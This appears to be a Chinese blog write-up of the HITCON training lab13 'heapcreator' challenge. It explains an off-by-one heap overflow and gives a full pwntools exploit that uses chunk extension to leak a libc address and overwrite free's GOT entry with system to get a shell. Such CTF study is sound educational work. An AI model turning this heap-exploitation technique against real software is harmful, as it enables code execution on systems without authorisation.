当前位置:网站首页>堆利用之chunk extend: HITCON tranining lab13
堆利用之chunk extend: HITCON tranining lab13
2022-06-10 17:16:00 【amazh】
64位ida分析程序,常见的目录结构;
通过静态分析 发现 edit 的时候 存在 off-by-one 漏洞:

红框标出的地方,可以多输入一个字节。
先看exp:
from pwn import*
p = process("./heapcreator")
e = ELF("./heapcreator")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
context.log_level = "debug"
def create(size,content):
p.recvuntil("Your choice :")
p.sendline("1")
p.recvuntil("Size of Heap :")
p.sendline(str(size))
p.recvuntil("Content of heap:")
p.sendline(content)
def edit(index,content):
p.recvuntil("Your choice :")
p.sendline("2")
p.recvuntil("Index :")
p.sendline(str(index))
p.recvuntil("Content of heap :")
p.sendline(content)
p.recvline()
def show(index):
p.recvuntil("Your choice :")
p.sendline("3")
p.recvuntil("Index :")
p.sendline(str(index))
def delete(index):
p.recvuntil(":")
p.sendline("4")
p.recvuntil(":")
p.sendline(str(index))
def exit():
p.recvuntil(":")
p.sendline("5")
create(24,'amazh')#0x18 + 0x10
create(16,'amazh')#0x10 + 0x10
edit(0,'/bin/sh\x00' +'a'*0x10+ '\x41')
delete(1)
create(0x30, p64(0) * 3 + p64(0x21) + p64(0x30) + p64(e.got['free']))
show(1)
p.recvuntil("Content : ")
data = p.recvuntil("Done !")
free_addr = u64(data.split("\n")[0].ljust(8, "\x00"))
#log.success(hex(free_data)
libc_base = free_addr - libc.symbols['free']
log.success('libc base addr: ' + hex(libc_base))
system_addr = libc_base + libc.symbols['system']
edit(1, p64(system_addr))
#pause()
delete(0)
p.interactive()
解题思路:
首先创建了两个heap,大小分别是 0x18和 0x10,我们可以通过编辑heap0的content,从而溢出一个字节,来控制heap1 header的size位,从而实现extend。
extend之后 ,进行free(heap1) , 我们可以得到一个 0x41大小的chunk,然后我们再次malloc这个chunk 写入got地址 便可以泄露出free函数的真实地址 ,随后便可以实现任意写了。
边栏推荐
- 红色垂直左侧边菜单导航代码
- Leetcode String to integer(Atoi)
- How will you integrate into the $20trillion "project economy" in five years
- There is an urgent need to enrich the smart home product line. Can fluorite be crowded on the sweeping robot track?
- Penguin E-sports stops, and tiger teeth are hard to walk
- [the second revolution of report tools] optimize report structure and improve report operation performance based on SPL language
- 使用IdentityServer出现过SameSite Cookie这个问题吗?
- 待办事项桌面插件,办公族的桌面好帮手
- Leetcode String to integer(Atoi)
- Solve the problem that vs2022 slowly loads a pile of symbols when debugging the program
猜你喜欢

基于PHP+Web+Mysql的在线问卷调查系统

Swift 3pThread tool Promise Pipeline Master/Slave Serial Thread confinement Serial queue

训练时添加进度条的库--tqdm
![[FAQ] summary of common problems and solutions during the use of rest API interface of sports health service](/img/93/d999239b28afb2d9a61e9aad27d2cd.png)
[FAQ] summary of common problems and solutions during the use of rest API interface of sports health service

淘宝短视频避坑指南系列之一--彻底了解淘宝短视频

【AXI】解读AXI协议双向握手机制的原理

THE LOTTERY TICKET HYPOTHESIS: FINDING SPARSE, TRAINABLE NEURAL NETWORKS论文笔记

Why 0.1+0.2=0.3000000000000004

mapbox-gl开发教程(十一):加载线图层

正斜杠“/”、反斜杠“\、”转义字符“\”、文件路径分割符傻傻记不清楚
随机推荐
High number_ Chapter 6 infinite series__ Absolute convergence_ Conditional convergence
开源项目 PM 浅谈如何设计官网
训练时添加进度条的库--tqdm
Play with pytoch's function class
Why 0.1+0.2=0.3000000000000004
LoRa模块无线收发通信技术详解
js锚点定位可以扩展很多功能
基于业务沉淀组件 => manage-table
Redis general instruction
Jouer avec la classe de fonctions de pytorch
厉害了,工信部推出 “一键解绑” 手机号绑定的互联网账号,堪称神器
Lifeifei: I am more like a scientist in physics than an engineer
Summary of vim common commands
华为matepad能成为你的笔记本电脑副屏?
js手机端复制文本到剪切板代码
最新好文 | 基于因果推断的可解释对抗防御
使用IdentityServer出现过SameSite Cookie这个问题吗?
5年后,你将如何融入20万亿美元的「项目经济」
2022版IDEA图形界面GUI乱码解决方法超详细简单版
Mapbox GL development tutorial (11): loading line layers